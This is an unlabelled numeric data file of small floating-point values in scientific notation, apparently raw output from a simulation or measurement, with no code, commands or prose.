2.37183e-06
1.21147e-07
2.36917e-06
1.02217e-07
2.36934e-06
7.64645e-08
2.37468e-06
5.92766e-08
2.38816e-06
7.31256e-08
2.40493e-06
1.53132e-07
2.4163e-06
2.54678e-07
2.42404e-06
2.98703e-07
2.42859e-06
2.88336e-07
2.43307e-06
2.38074e-07
2.43791e-06
1.90043e-07
2.43523e-06
1.75588e-07
2.4255e-06
1.67839e-07
2.41124e-06
1.54402e-07
2.39623e-06
1.21151e-07
2.38906e-06
7.58529e-08
2.38844e-06
7.97002e-08
2.38855e-06
1.34029e-07
2.38688e-06
1.84975e-07
2.38292e-06
2.03109e-07
2.37574e-06
1.98237e-07
2.36683e-06
1.82425e-07
2.36055e-06
1.56043e-07
2.3577e-06
1.11877e-07
2.36203e-06
4.11223e-08
2.37523e-06
-1.57173e-09
2.38254e-06
5.18417e-08
2.37507e-06
1.44767e-07
2.36197e-06
1.91155e-07
2.34903e-06
1.91245e-07
2.34023e-06
1.64812e-07
2.34001e-06
1.29554e-07
2.34095e-06
1.11161e-07
2.33744e-06
8.76643e-08
2.33769e-06
3.98436e-08
2.34566e-06
8.46822e-09
2.35381e-06
2.51294e-08
2.35698e-06
6.51496e-08
2.3533e-06
1.00088e-07
2.34963e-06
1.03419e-07
2.35284e-06
9.1075e-08
2.35433e-06
9.22926e-08
2.35328e-06
8.98023e-08
2.35385e-06
8.5277e-08
2.35004e-06
9.74718e-08
2.34167e-06
1.04302e-07
2.33105e-06
9.42476e-08
2.32099e-06
5.77025e-08
2.33152e-06
-1.97357e-08
2.37347e-06
-6.74113e-08
2.41899e-06
-3.64006e-09
2.42966e-06
1.31082e-07
2.39924e-06
2.19782e-07
2.35619e-06
2.00797e-07
2.33636e-06
1.01693e-07
2.35313e-06
1.34257e-08
2.38283e-06
1.84695e-08
2.39448e-06
8.20114e-08
2.39003e-06
1.18757e-07
2.38324e-06
1.18515e-07
2.37887e-06
1.08977e-07
2.38055e-06
9.42124e-08
2.38835e-06
8.93558e-08
2.3942e-06
1.03913e-07
2.39062e-06
1.25753e-07
2.38842e-06
1.20691e-07
2.39314e-06
1.22282e-07
2.38717e-06
1.55988e-07
2.35965e-06
1.87521e-07
2.32988e-06
1.6409e-07
2.31867e-06
1.15178e-07
2.32788e-06
8.45685e-08
2.33007e-06
1.18061e-07
2.31029e-06
1.5255e-07
2.27911e-06
1.53898e-07
2.26494e-06
9.7325e-08
2.2732e-06
6.36879e-08
2.28695e-06
6.00235e-08
2.29423e-06
8.8714e-08
2.28828e-06
1.11224e-07
2.27901e-06
1.14849e-07
2.26884e-06
1.06678e-07
2.27043e-06
7.84465e-08
2.27557e-06
9.60154e-08
2.27371e-06
8.62387e-08
9.74989e-08
2.43178e-06
4.02908e-07
2.45729e-06
4.57833e-07
2.473e-06
4.43567e-07
2.47567e-06
3.17983e-07
2.47188e-06
1.80644e-07
2.46681e-06
7.55024e-08
2.46388e-06
2.81173e-08
2.4637e-06
2.88265e-08
2.46483e-06
4.09939e-08
2.46532e-06
5.35228e-08
2.46586e-06
6.79214e-08
2.46835e-06
8.55165e-08
2.47084e-06
1.10148e-07
2.47343e-06
1.22175e-07
2.47426e-06
1.2032e-07
2.47195e-06
1.04521e-07
2.47019e-06
7.8226e-08
2.46983e-06
5.96367e-08
2.47568e-06
6.72791e-08
2.48871e-06
1.40096e-07
2.50186e-06
2.4153e-07
2.51451e-06
2.86054e-07
2.52309e-06
2.79761e-07
2.52882e-06
2.32344e-07
2.53415e-06
1.84711e-07
2.53265e-06
1.77084e-07
2.52625e-06
1.7424e-07
2.5169e-06
1.63751e-07
2.50489e-06
1.3316e-07
2.49698e-06
8.37628e-08
2.49284e-06
8.38402e-08
2.48981e-06
1.37068e-07
2.4872e-06
1.87582e-07
2.48456e-06
2.0575e-07
2.48016e-06
2.02633e-07
2.4744e-06
1.88187e-07
2.4727e-06
1.57742e-07
2.47441e-06
1.10167e-07
2.4788e-06
3.67375e-08
2.4879e-06
-1.06758e-08
2.49086e-06
4.88806e-08
2.48118e-06
1.54451e-07
2.46937e-06
2.02964e-07
2.45882e-06
2.01797e-07
2.45126e-06
1.72372e-07
2.45332e-06
1.27494e-07
2.45807e-06
1.06407e-07
2.45655e-06
8.91872e-08
2.4558e-06
4.05916e-08
2.46157e-06
2.70212e-09
2.46702e-06
1.96798e-08
2.46867e-06
6.34973e-08
2.46447e-06
1.04288e-07
2.45979e-06
1.08096e-07
2.46481e-06
8.60518e-08
2.46866e-06
8.84491e-08
2.46791e-06
9.05556e-08
2.46957e-06
8.36078e-08
2.4667e-06
1.00351e-07
2.45894e-06
1.1206e-07
2.44969e-06
1.03496e-07
2.43683e-06
7.05638e-08
2.43971e-06
-2.26177e-08
2.47821e-06
-1.05907e-07
2.52939e-06
-5.48289e-08
2.54959e-06
1.10891e-07
2.52417e-06
2.45198e-07
2.4784e-06
2.46571e-07
2.45078e-06
1.29311e-07
2.46299e-06
1.21796e-09
2.49662e-06
-1.5166e-08
2.5128e-06
6.58291e-08
2.50936e-06
1.22203e-07
2.50284e-06
1.25036e-07
2.4977e-06
1.1411e-07
2.49861e-06
9.3303e-08
2.50853e-06
7.94341e-08
2.51971e-06
9.27372e-08
2.5181e-06
1.2736e-07
2.51454e-06
1.24259e-07
2.52469e-06
1.12127e-07
2.52916e-06
1.51516e-07
2.50433e-06
2.12359e-07
2.46789e-06
2.00521e-07
2.44934e-06
1.33734e-07
2.46245e-06
7.1455e-08
2.47715e-06
1.03363e-07
2.46402e-06
1.65676e-07
2.42626e-06
1.91659e-07
2.40102e-06
1.22565e-07
2.40827e-06
5.64455e-08
2.42855e-06
3.97388e-08
2.44516e-06
7.21066e-08
2.44422e-06
1.12163e-07
2.43576e-06
1.23304e-07
2.42201e-06
1.20428e-07
2.4218e-06
7.86615e-08
2.43377e-06
8.40419e-08
2.43738e-06
8.26355e-08
1.00366e-07
2.54454e-06
3.95876e-07
2.56966e-06
4.32719e-07
2.58746e-06
4.2577e-07
2.59151e-06
3.13929e-07
2.58831e-06
1.83838e-07
2.583e-06
8.08129e-08
2.57955e-06
3.15736e-08
2.57914e-06
2.92389e-08
2.58014e-06
3.99943e-08
2.58047e-06
5.31869e-08
2.58019e-06
6.82075e-08
2.58128e-06
8.44203e-08
2.58233e-06
1.09104e-07
2.58438e-06
1.20119e-07
2.58598e-06
1.18724e-07
2.58408e-06
1.06423e-07
2.5814e-06
8.09062e-08
2.57757e-06
6.34647e-08
2.5778e-06
6.70499e-08
2.58727e-06
1.30622e-07
2.60022e-06
2.28581e-07
2.61446e-06
2.71812e-07
2.62411e-06
2.70107e-07
2.62917e-06
2.27288e-07
2.63402e-06
1.79858e-07
2.63381e-06
1.77298e-07
2.6314e-06
1.76653e-07
2.62777e-06
1.67372e-07
2.61979e-06
1.41148e-07
2.61213e-06
9.14199e-08
2.60511e-06
9.0864e-08
2.59918e-06
1.42998e-07
2.59525e-06
1.91512e-07
2.593e-06
2.07998e-07
2.59072e-06
2.04915e-07
2.58786e-06
1.91047e-07
2.59053e-06
1.55066e-07
2.59677e-06
1.03924e-07
2.60135e-06
3.21659e-08
2.60614e-06
-1.54652e-08
2.60479e-06
5.02284e-08
2.59347e-06
1.65765e-07
2.58359e-06
2.12846e-07
2.57609e-06
2.093e-07
2.56988e-06
1.78585e-07
2.57314e-06
1.2423e-07
2.58032e-06
9.9226e-08
2.58037e-06
8.91425e-08
2.57865e-06
4.23054e-08
2.58214e-06
-7.85905e-10
2.58472e-06
1.71034e-08
2.58497e-06
6.32449e-08
2.58128e-06
1.07978e-07
2.57582e-06
1.13553e-07
2.58184e-06
8.00289e-08
2.58749e-06
8.28023e-08
2.58645e-06
9.15952e-08
2.58879e-06
8.1269e-08
2.58664e-06
1.025e-07
2.57939e-06
1.19314e-07
2.57255e-06
1.10334e-07
2.55929e-06
8.38218e-08
2.55544e-06
-1.87679e-08
2.58716e-06
-1.37623e-07
2.6382e-06
-1.0587e-07
2.66469e-06
8.43989e-08
2.64608e-06
2.63813e-07
2.6027e-06
2.89943e-07
2.57088e-06
1.61136e-07
2.5766e-06
-4.50198e-09
2.61011e-06
-4.86741e-08
2.62858e-06
4.73514e-08
2.62574e-06
1.25048e-07
2.6202e-06
1.3057e-07
2.61459e-06
1.19726e-07
2.61387e-06
9.40212e-08
2.62392e-06
6.93801e-08
2.63942e-06
7.7239e-08
2.64032e-06
1.26464e-07
2.63356e-06
1.31021e-07
2.64588e-06
9.98005e-08
2.66074e-06
1.36656e-07
2.64153e-06
2.31568e-07
2.60135e-06
2.40704e-07
2.57439e-06
1.607e-07
2.58721e-06
5.86348e-08
2.6137e-06
7.68684e-08
2.61145e-06
1.67932e-07
2.57135e-06
2.31752e-07
2.53409e-06
1.59826e-07
2.53699e-06
5.35469e-08
2.56145e-06
1.52756e-08
2.58689e-06
4.66667e-08
2.5924e-06
1.06655e-07
2.58627e-06
1.29429e-07
2.5689e-06
1.37806e-07
2.5632e-06
8.43612e-08
2.5805e-06
6.67364e-08
2.59081e-06
7.23293e-08
1.01075e-07
2.66531e-06
3.87309e-07
2.68907e-06
4.08956e-07
2.7082e-06
4.06642e-07
2.71334e-06
3.08786e-07
2.71068e-06
1.86502e-07
2.70511e-06
8.63827e-08
2.7011e-06
3.55799e-08
2.70048e-06
2.98652e-08
2.7015e-06
3.89685e-08
2.70226e-06
5.24295e-08
2.70184e-06
6.86301e-08
2.70226e-06
8.39987e-08
2.7026e-06
1.08764e-07
2.70413e-06
1.18583e-07
2.70588e-06
1.16976e-07
2.70416e-06
1.08146e-07
2.70133e-06
8.37301e-08
2.69625e-06
6.85532e-08
2.69318e-06
7.01185e-08
2.69951e-06
1.24287e-07
2.71061e-06
2.17486e-07
2.72386e-06
2.58559e-07
2.7329e-06
2.61072e-07
2.73683e-06
2.23351e-07
2.74126e-06
1.75433e-07
2.74263e-06
1.75931e-07
2.7441e-06
1.75183e-07
2.74554e-06
1.65933e-07
2.7412e-06
1.45487e-07
2.73414e-06
9.84761e-08
2.72511e-06
9.98964e-08
2.71724e-06
1.50862e-07
2.71236e-06
1.96392e-07
2.71009e-06
2.10273e-07
2.70928e-06
2.05725e-07
2.70869e-06
1.91638e-07
2.71461e-06
1.49144e-07
2.72416e-06
9.43728e-08
2.72863e-06
2.77016e-08
2.72945e-06
-1.62879e-08
2.72476e-06
5.49161e-08
2.71298e-06
1.77546e-07
2.7055e-06
2.20326e-07
2.70131e-06
2.13486e-07
2.69662e-06
1.8328e-07
2.70019e-06
1.20654e-07
2.70815e-06
9.12672e-08
2.709e-06
8.82899e-08
2.70627e-06
4.50366e-08
2.70753e-06
-2.04612e-09
2.70751e-06
1.71258e-08
2.70677e-06
6.39843e-08
2.70478e-06
1.09974e-07
2.69913e-06
1.19196e-07
2.70524e-06
7.39239e-08
2.71182e-06
7.62206e-08
2.70996e-06
9.34541e-08
2.71255e-06
7.86795e-08
2.71092e-06
1.04134e-07
2.70404e-06
1.26195e-07
2.70002e-06
1.14354e-07
2.68832e-06
9.55179e-08
2.67961e-06
-1.00552e-08
2.70279e-06
-1.60807e-07
2.74841e-06
-1.51494e-07
2.77731e-06
5.5505e-08
2.76609e-06
2.75027e-07
2.7295e-06
3.26533e-07
2.69787e-06
1.9277e-07
2.69659e-06
-3.21918e-09
2.72619e-06
-7.82764e-08
2.7445e-06
2.90435e-08
2.74194e-06
1.27607e-07
2.73833e-06
1.34175e-07
2.73284e-06
1.25219e-07
2.7304e-06
9.64603e-08
2.73898e-06
6.08054e-08
2.75699e-06
5.92244e-08
2.76102e-06
1.2243e-07
2.7507e-06
1.41346e-07
2.76199e-06
8.85136e-08
2.78522e-06
1.13425e-07
2.77303e-06
2.43754e-07
2.73303e-06
2.80706e-07
2.69945e-06
1.94276e-07
2.70819e-06
4.98935e-08
2.74292e-06
4.21425e-08
2.75336e-06
1.57488e-07
2.71603e-06
2.69088e-07
2.66855e-06
2.07299e-07
2.665e-06
5.71033e-08
2.69076e-06
-1.04903e-08
2.72286e-06
1.45735e-08
2.73501e-06
9.45057e-08
2.73271e-06
1.3172e-07
2.71307e-06
1.57449e-07
2.69917e-06
9.82658e-08
2.71892e-06
4.69856e-08
2.7362e-06
5.50427e-08
9.95469e-08
2.79328e-06
3.77398e-07
2.81523e-06
3.8701e-07
2.83508e-06
3.86791e-07
2.84123e-06
3.02633e-07
2.83916e-06
1.88569e-07
2.83342e-06
9.21322e-08
2.82883e-06
4.01634e-08
2.82789e-06
3.08029e-08
2.82883e-06
3.80354e-08
2.83009e-06
5.11648e-08
2.82984e-06
6.88828e-08
2.8301e-06
8.37388e-08
2.83039e-06
1.08468e-07
2.83154e-06
1.17438e-07
2.83304e-06
1.15479e-07
2.83141e-06
1.09768e-07
2.82888e-06
8.62652e-08
2.8239e-06
7.35346e-08
2.81918e-06
7.48348e-08
2.8228e-06
1.20667e-07
2.83133e-06
2.08953e-07
2.84256e-06
2.47332e-07
2.85074e-06
2.52894e-07
2.85414e-06
2.1995e-07
2.85855e-06
1.71017e-07
2.86151e-06
1.72974e-07
2.86596e-06
1.70739e-07
2.87076e-06
1.61134e-07
2.86887e-06
1.47376e-07
2.86239e-06
1.04957e-07
2.85233e-06
1.09948e-07
2.84387e-06
1.59325e-07
2.83893e-06
2.0133e-07
2.83673e-06
2.12473e-07
2.83698e-06
2.0548e-07
2.83792e-06
1.90693e-07
2.84548e-06
1.41589e-07
2.85635e-06
8.3506e-08
2.86009e-06
2.39544e-08
2.85762e-06
-1.38155e-08
2.85106e-06
6.14793e-08
2.84021e-06
1.88394e-07
2.83533e-06
2.25206e-07
2.83428e-06
2.1453e-07
2.83119e-06
1.86371e-07
2.83448e-06
1.17365e-07
2.8417e-06
8.40497e-08
2.84256e-06
8.7432e-08
2.83882e-06
4.87768e-08
2.83802e-06
-1.24385e-09
2.83599e-06
1.91545e-08
2.83474e-06
6.5234e-08
2.83532e-06
1.09396e-07
2.83018e-06
1.24327e-07
2.8355e-06
6.86118e-08
2.84203e-06
6.96846e-08
2.83902e-06
9.64619e-08
2.8415e-06
7.62039e-08
2.84013e-06
1.05503e-07
2.83356e-06
1.32762e-07
2.83229e-06
1.15624e-07
2.82348e-06
1.04333e-07
2.8122e-06
1.22563e-09
2.82649e-06
-1.751e-07
2.8626e-06
-1.87603e-07
2.89012e-06
2.79891e-08
2.88589e-06
2.79251e-07
2.85896e-06
3.53468e-07
2.83154e-06
2.20189e-07
2.82391e-06
4.4047e-09
2.84681e-06
-1.0117e-07
2.86281e-06
1.30384e-08
2.86036e-06
1.30061e-07
2.85953e-06
1.35006e-07
2.85478e-06
1.29969e-07
2.85116e-06
1.0008e-07
2.85742e-06
5.45427e-08
2.87568e-06
4.09721e-08
2.88316e-06
1.14949e-07
2.87028e-06
1.54219e-07
2.87829e-06
8.05022e-08
2.90683e-06
8.48931e-08
2.90141e-06
2.49174e-07
2.86526e-06
3.16851e-07
2.82901e-06
2.30528e-07
2.83149e-06
4.74132e-08
2.86933e-06
4.3013e-09
2.89155e-06
1.35268e-07
2.86128e-06
2.99356e-07
2.80744e-06
2.61145e-07
2.79694e-06
6.76006e-08
2.82138e-06
-3.49336e-08
2.85697e-06
-2.10104e-08
2.87463e-06
7.68415e-08
2.87706e-06
1.29293e-07
2.85736e-06
1.77151e-07
2.83447e-06
1.21153e-07
2.85331e-06
2.81437e-08
2.8765e-06
3.18544e-08
9.59286e-08
2.92797e-06
3.66192e-07
2.94802e-06
3.66962e-07
2.9681e-06
3.66714e-07
2.97528e-06
2.95444e-07
2.97393e-06
1.89927e-07
2.9682e-06
9.78547e-08
2.9631e-06
4.52625e-08
2.96176e-06
3.21479e-08
2.96242e-06
3.73733e-08
2.964e-06
4.95871e-08
2.96397e-06
6.89132e-08
2.96427e-06
8.34355e-08
2.96485e-06
1.07896e-07
2.96575e-06
1.16532e-07
2.96691e-06
1.14317e-07
2.96552e-06
1.11162e-07
2.96342e-06
8.83683e-08
2.95907e-06
7.78775e-08
2.95368e-06
8.02259e-08
2.95515e-06
1.19202e-07
2.96143e-06
2.02675e-07
2.97083e-06
2.37926e-07
2.97862e-06
2.45102e-07
2.98218e-06
2.16393e-07
2.98675e-06
1.66449e-07
2.99084e-06
1.68883e-07
2.9969e-06
1.64678e-07
3.0031e-06
1.54935e-07
3.00234e-06
1.48134e-07
2.99633e-06
1.10965e-07
2.98622e-06
1.20065e-07
2.97846e-06
1.6708e-07
2.97448e-06
2.05314e-07
2.97279e-06
2.14165e-07
2.97395e-06
2.04321e-07
2.97585e-06
1.88791e-07
2.98348e-06
1.33958e-07
2.99357e-06
7.34177e-08
2.99593e-06
2.15917e-08
2.99091e-06
-8.79935e-09
2.98392e-06
6.84683e-08
2.97525e-06
1.97065e-07
2.97287e-06
2.27592e-07
2.97442e-06
2.12982e-07
2.97283e-06
1.87961e-07
2.9755e-06
1.14685e-07
2.98088e-06
7.86722e-08
2.98115e-06
8.7164e-08
2.97658e-06
5.3344e-08
2.97401e-06
1.33089e-09
2.97073e-06
2.24309e-08
2.96934e-06
6.66231e-08
2.97276e-06
1.05979e-07
2.96871e-06
1.28379e-07
2.97255e-06
6.47699e-08
2.97818e-06
6.40581e-08
2.97401e-06
1.00629e-07
2.97611e-06
7.4106e-08
2.97473e-06
1.06882e-07
2.9685e-06
1.38996e-07
2.96956e-06
1.14562e-07
2.96428e-06
1.09612e-07
2.95273e-06
1.27772e-08
2.95894e-06
-1.81311e-07
2.98307e-06
-2.11741e-07
3.00615e-06
4.9142e-09
3.00769e-06
2.77707e-07
2.99145e-06
3.69708e-07
2.97111e-06
2.40528e-07
2.95867e-06
1.68503e-08
2.97346e-06
-1.15959e-07
2.98575e-06
7.47418e-10
2.98329e-06
1.32514e-07
2.98567e-06
1.32634e-07
2.98209e-06
1.33545e-07
2.9782e-06
1.03968e-07
2.98217e-06
5.05737e-08
2.9984e-06
2.47426e-08
3.00908e-06
1.04272e-07
2.9955e-06
1.67794e-07
2.99925e-06
7.67581e-08
3.02989e-06
5.42533e-08
3.0299e-06
2.49158e-07
3.00018e-06
3.46571e-07
2.96583e-06
2.64885e-07
2.96169e-06
5.15525e-08
2.99751e-06
-3.15264e-08
3.02849e-06
1.04291e-07
3.00782e-06
3.20026e-07
2.95226e-06
3.1671e-07
2.93574e-06
8.41212e-08
2.95689e-06
-5.6092e-08
2.99266e-06
-5.67802e-08
3.01383e-06
5.56704e-08
3.02098e-06
1.22152e-07
3.00341e-06
1.94716e-07
2.9729e-06
1.51665e-07
2.98801e-06
1.3032e-08
3.01473e-06
5.13246e-09
9.0702e-08
3.0692e-06
3.53757e-07
3.08755e-06
3.4862e-07
3.10742e-06
3.46844e-07
3.11566e-06
2.87202e-07
3.11514e-06
1.90448e-07
3.10972e-06
1.03271e-07
3.10426e-06
5.07225e-08
3.10246e-06
3.39448e-08
3.10275e-06
3.70892e-08
3.10438e-06
4.79573e-08
3.10453e-06
6.87643e-08
3.10486e-06
8.30997e-08
3.10573e-06
1.07032e-07
3.10651e-06
1.15752e-07
3.10742e-06
1.13405e-07
3.10643e-06
1.12154e-07
3.10473e-06
9.00616e-08
3.10112e-06
8.14859e-08
3.09572e-06
8.56285e-08
3.09581e-06
1.19115e-07
3.10072e-06
1.97762e-07
3.10899e-06
2.29657e-07
3.1168e-06
2.37294e-07
3.12079e-06
2.12405e-07
3.12525e-06
1.61981e-07
3.12973e-06
1.6441e-07
3.13607e-06
1.58335e-07
3.14208e-06
1.48929e-07
3.14148e-06
1.48732e-07
3.13591e-06
1.1653e-07
3.1265e-06
1.29483e-07
3.12038e-06
1.73198e-07
3.1181e-06
2.07595e-07
3.1174e-06
2.14863e-07
3.11951e-06
2.02213e-07
3.12203e-06
1.86266e-07
3.12866e-06
1.27334e-07
3.13638e-06
6.56955e-08
3.13691e-06
2.10648e-08
3.13002e-06
-1.91294e-09
3.12361e-06
7.48731e-08
3.11786e-06
2.02818e-07
3.1176e-06
2.27857e-07
3.121e-06
2.09581e-07
3.12061e-06
1.88349e-07
3.12257e-06
1.1272e-07
3.12558e-06
7.56691e-08
3.125e-06
8.77401e-08
3.11999e-06
5.83538e-08
3.11605e-06
5.27411e-09
3.11228e-06
2.61982e-08
3.11091e-06
6.79983e-08
3.11674e-06
1.00149e-07
3.11409e-06
1.31022e-07
3.1161e-06
6.2766e-08
3.12024e-06
5.99197e-08
3.11522e-06
1.05645e-07
3.11679e-06
7.25321e-08
3.11517e-06
1.08501e-07
3.10936e-06
1.44809e-07
3.1121e-06
1.11821e-07
3.11038e-06
1.11333e-07
3.10046e-06
2.27016e-08
3.10021e-06
-1.81066e-07
3.11182e-06
-2.23345e-07
3.12854e-06
-1.18057e-08
3.13408e-06
2.72165e-07
3.12782e-06
3.75969e-07
3.11589e-06
2.5246e-07
3.10063e-06
3.21106e-08
3.10742e-06
-1.22754e-07
3.1155e-06
-7.33063e-09
3.11296e-06
1.35054e-07
3.11837e-06
1.27224e-07
3.11615e-06
1.35764e-07
3.11296e-06
1.07155e-07
3.11529e-06
4.82476e-08
3.12774e-06
1.22899e-08
3.14085e-06
9.11602e-08
3.12858e-06
1.80072e-07
3.12808e-06
7.72492e-08
3.15811e-06
2.42278e-08
3.16192e-06
2.45347e-07
3.13982e-06
3.68672e-07
3.11112e-06
2.93586e-07
3.10134e-06
6.13355e-08
3.13114e-06
-6.13337e-08
3.16685e-06
6.85861e-08
3.1563e-06
3.30578e-07
3.10341e-06
3.69592e-07
3.0827e-06
1.04839e-07
3.09935e-06
-7.27467e-08
3.13247e-06
-8.98996e-08
3.15486e-06
3.32826e-08
3.1659e-06
1.11111e-07
3.15199e-06
2.08628e-07
3.11681e-06
1.86846e-07
3.12651e-06
3.32409e-09
3.1536e-06
-2.19557e-08
8.4643e-08
3.21706e-06
3.40301e-07
3.23405e-06
3.31626e-07
3.25336e-06
3.2754e-07
3.26259e-06
2.77966e-07
3.26301e-06
1.9003e-07
3.25818e-06
1.08098e-07
3.25257e-06
5.6338e-08
3.25032e-06
3.61875e-08
3.25022e-06
3.7194e-08
3.2517e-06
4.6478e-08
3.25199e-06
6.84759e-08
3.25229e-06
8.28018e-08
3.25332e-06
1.05996e-07
3.25405e-06
1.15021e-07
3.25481e-06
1.12649e-07
3.25429e-06
1.12674e-07
3.25291e-06
9.14383e-08
3.25001e-06
8.43933e-08
3.24514e-06
9.04977e-08
3.24468e-06
1.19567e-07
3.24917e-06
1.9328e-07
3.25689e-06
2.21931e-07
3.26478e-06
2.29404e-07
3.26907e-06
2.08118e-07
3.27301e-06
1.58044e-07
3.27713e-06
1.60282e-07
3.28278e-06
1.52691e-07
3.28764e-06
1.44065e-07
3.28671e-06
1.49668e-07
3.28161e-06
1.21622e-07
3.27336e-06
1.37738e-07
3.26925e-06
1.77307e-07
3.26895e-06
2.07897e-07
3.26955e-06
2.14255e-07
3.27268e-06
1.99091e-07
3.2757e-06
1.83243e-07
3.28086e-06
1.22172e-07
3.28546e-06
6.10904e-08
3.28407e-06
2.24552e-08
3.27585e-06
6.30711e-09
3.27041e-06
8.03154e-08
3.26766e-06
2.05574e-07
3.26897e-06
2.26539e-07
3.2735e-06
2.05058e-07
3.27392e-06
1.87931e-07
3.27521e-06
1.1143e-07
3.27585e-06
7.50291e-08
3.2745e-06
8.90863e-08
3.26955e-06
6.33039e-08
3.2647e-06
1.0126e-08
3.26105e-06
2.98422e-08
3.25964e-06
6.94117e-08
3.26697e-06
9.28215e-08
3.26583e-06
1.32161e-07
3.26597e-06
6.26256e-08
3.26838e-06
5.75056e-08
3.26304e-06
1.10991e-07
3.26402e-06
7.15466e-08
3.26203e-06
1.10493e-07
3.25677e-06
1.50068e-07
3.26044e-06
1.08152e-07
3.26179e-06
1.09983e-07
3.25467e-06
2.9822e-08
3.24994e-06
-1.76342e-07
3.25024e-06
-2.23638e-07
3.26004e-06
-2.16069e-08
3.26765e-06
2.64557e-07
3.26933e-06
3.74286e-07
3.26559e-06
2.56203e-07
3.24958e-06
4.81209e-08
3.24973e-06
-1.22902e-07
3.25399e-06
-1.15947e-08
3.25135e-06
1.37695e-07
3.25907e-06
1.19502e-07
3.25815e-06
1.36682e-07
3.25639e-06
1.08914e-07
3.25798e-06
4.66543e-08
3.26577e-06
4.50958e-09
3.28026e-06
7.667e-08
3.27088e-06
1.89447e-07
3.26681e-06
8.1318e-08
3.2942e-06
-3.1571e-09
3.30039e-06
2.39154e-07
3.28593e-06
3.83136e-07
3.26504e-06
3.14474e-07
3.25124e-06
7.51316e-08
3.27265e-06
-8.27442e-08
3.309e-06
3.22338e-08
3.30743e-06
3.32148e-07
3.26071e-06
4.16316e-07
3.23805e-06
1.27501e-07
3.24965e-06
-8.43502e-08
3.27804e-06
-1.18283e-07
3.29954e-06
1.17741e-08
3.31312e-06
9.75324e-08
3.30345e-06
2.18303e-07
3.26724e-06
2.23048e-07
3.27111e-06
-5.43347e-10
3.29532e-06
-4.61632e-08
7.8642e-08
3.37181e-06
3.26129e-07
3.38783e-06
3.15613e-07
3.40635e-06
3.09014e-07
3.41642e-06
2.67901e-07
3.4178e-06
1.88646e-07
3.4138e-06
1.12095e-07
3.40825e-06
6.18938e-08
3.40558e-06
3.88522e-08
3.40514e-06
3.76395e-08
3.40636e-06
4.52587e-08
3.40678e-06
6.80518e-08
3.40702e-06
8.2564e-08
3.40813e-06
1.04888e-07
3.40889e-06
1.14262e-07
3.40955e-06
1.11989e-07
3.40945e-06
1.12772e-07
3.40828e-06
9.26088e-08
3.406e-06
8.66739e-08
3.40204e-06
9.44574e-08
3.40171e-06
1.19894e-07
3.40639e-06
1.88594e-07
3.4139e-06
2.14427e-07
3.42172e-06
2.21587e-07
3.42605e-06
2.0378e-07
3.42916e-06
1.54942e-07
3.43249e-06
1.56949e-07
3.43692e-06
1.48263e-07
3.4403e-06
1.40685e-07
3.4389e-06
1.51066e-07
3.43429e-06
1.26227e-07
3.42735e-06
1.44684e-07
3.4251e-06
1.79553e-07
3.42657e-06
2.06427e-07
3.42852e-06
2.12305e-07
3.43264e-06
1.94976e-07
3.43614e-06
1.79747e-07
3.43992e-06
1.18384e-07
3.44148e-06
5.95378e-08
3.43842e-06
2.55091e-08
3.42928e-06
1.54462e-08
3.42464e-06
8.49581e-08
3.4244e-06
2.05815e-07
3.42673e-06
2.24204e-07
3.4318e-06
1.99996e-07
3.43265e-06
1.87077e-07
3.43338e-06
1.10705e-07
3.43206e-06
7.6343e-08
3.43022e-06
9.09287e-08
3.42579e-06
6.77331e-08
3.42046e-06
1.54583e-08
3.41733e-06
3.29695e-08
3.41575e-06
7.09979e-08
3.42351e-06
8.50607e-08
3.42381e-06
1.31861e-07
3.42235e-06
6.4083e-08
3.42309e-06
5.67603e-08
3.41796e-06
1.16123e-07
3.41832e-06
7.1188e-08
3.41593e-06
1.12886e-07
3.41136e-06
1.54639e-07
3.41525e-06
1.04256e-07
3.41888e-06
1.0636e-07
3.41491e-06
3.37918e-08
3.40756e-06
-1.68997e-07
3.39904e-06
-2.15115e-07
3.40259e-06
-2.51583e-08
3.41061e-06
2.56536e-07
3.41757e-06
3.67328e-07
3.42055e-06
2.53226e-07
3.40549e-06
6.31767e-08
3.40102e-06
-1.18428e-07
3.40254e-06
-1.31148e-08
3.39995e-06
1.40282e-07
3.40893e-06
1.10522e-07
3.40905e-06
1.36563e-07
3.40898e-06
1.0898e-07
3.41065e-06
4.4985e-08
3.41384e-06
1.32522e-09
3.42863e-06
6.18808e-08
3.42307e-06
1.94998e-07
3.41637e-06
8.80247e-08
3.43976e-06
-2.65476e-08
3.44732e-06
2.31591e-07
3.43973e-06
3.90729e-07
3.42714e-06
3.27062e-07
3.41111e-06
9.11567e-08
3.42337e-06
-9.49984e-08
3.45684e-06
-1.24252e-09
3.46208e-06
3.2691e-07
3.42379e-06
4.5461e-07
3.40146e-06
1.49834e-07
3.40803e-06
-9.09191e-08
3.4304e-06
-1.40654e-07
3.44939e-06
-7.21481e-09
3.4639e-06
8.30177e-08
3.45823e-06
2.23974e-07
3.42443e-06
2.56844e-07
3.42299e-06
9.0113e-10
3.44171e-06
-6.4881e-08
7.34689e-08
3.53389e-06
3.11537e-07
3.54918e-06
3.0032e-07
3.56689e-06
2.91311e-07
3.57756e-06
2.57228e-07
3.57983e-06
1.86377e-07
3.57682e-06
1.15107e-07
3.57152e-06
6.71906e-08
3.56845e-06
4.19249e-08
3.5677e-06
3.83829e-08
3.56865e-06
4.43085e-08
3.56923e-06
6.74795e-08
3.56946e-06
8.23316e-08
3.57062e-06
1.03729e-07
3.5715e-06
1.1338e-07
3.57211e-06
1.11375e-07
3.57233e-06
1.12559e-07
3.57127e-06
9.36688e-08
3.56949e-06
8.84492e-08
3.56655e-06
9.73937e-08
3.56668e-06
1.19765e-07
3.57182e-06
1.83461e-07
3.5792e-06
2.07042e-07
3.58678e-06
2.14005e-07
3.59104e-06
1.99524e-07
3.59328e-06
1.52705e-07
3.59571e-06
1.54512e-07
3.59882e-06
1.45152e-07
3.60079e-06
1.38714e-07
3.59903e-06
1.52834e-07
3.59487e-06
1.30382e-07
3.58915e-06
1.50407e-07
3.5883e-06
1.80399e-07
3.59104e-06
2.03693e-07
3.59412e-06
2.09223e-07
3.59908e-06
1.90012e-07
3.60304e-06
1.75792e-07
3.60584e-06
1.15576e-07
3.60495e-06
6.04326e-08
3.60066e-06
2.97982e-08
3.59095e-06
2.51561e-08
3.58669e-06
8.92189e-08
3.58821e-06
2.04292e-07
3.59108e-06
2.21334e-07
3.59627e-06
1.94807e-07
3.59729e-06
1.86061e-07
3.59756e-06
1.10432e-07
3.59489e-06
7.90164e-08
3.59286e-06
9.29547e-08
3.58923e-06
7.13641e-08
3.58374e-06
2.09463e-08
3.5813e-06
3.54121e-08
3.57947e-06
7.28257e-08
3.58677e-06
